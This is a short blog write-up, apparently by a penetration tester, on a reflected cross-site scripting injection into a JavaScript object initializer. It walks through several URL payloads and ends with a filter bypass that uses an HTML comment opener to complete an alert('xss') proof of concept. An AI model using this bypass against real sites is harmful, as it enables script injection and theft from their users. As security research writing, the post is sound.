Unterminated XSS
I recently came up against the following injection (simplified for the purposes of this post):
https://example.com/foo.php?r=foobar
<script>
var foo = { "name" : "peter", "email" : "peter@example.com", reason : "foobar" };
</script>
This is Injection into a JavaScript object initializer.
OK… let’s try the obvious:
https://example.com/foo.php?r=foobar"}; alert('xss');
which renders
<script>
var foo = { "name" : "peter", "email" : "peter@example.com", reason : "foobar"}; alert('xss');" };
</script>
Don’t forget to use that scrollbar! And ofc the parameters are percent encoded, but shown here plain for your enjoyment.
However, no popup. Chrome developer tools said
Uncaught SyntaxError: Invalid or unexpected token
and Firefox’s said:
SyntaxError: unterminated string literal
So lets try removing the trailing script by commenting it out:
https://example.com/foo.php?r=foobar"}; alert('xss');//
but this rendered
<script>
var foo = { "name" : "peter", "email" : "peter@example.com", reason : "" };
</script>
Our old friend, filtering. We meet again.
OK, let’s try terminating the script tag and making a new one:
https://example.com/foo.php?r=foobar</script><script>alert('xss')</script>
but this rendered
<script>
var foo = { "name" : "peter", "email" : "peter@example.com", reason : "foobar<" };
</script>
Hmm, not quite what we wanted. Wonder if that’s a genuine filter case, or whether the //
comment filter is going wrong? Or this filter is intended, and the other is a side-effect. Who knows? Whatever.
OK, so <
seems to work, but we can’t comment as /
is filtered. I was stumped for a while, lunchtime came, I went for a Boots sandwich and then came back to my desk to sulk.
Then it hit me. If JavaScript comments don’t work, how about HTML comments?
https://example.com/foo.php?r=foobar"}; alert('xss');<!--
which rendered
<script>
var foo = { "name" : "peter", "email" : "peter@example.com", reason : "foobar"}; alert('xss');<!--" };
</script>
Success!
Why does this work? See the spec.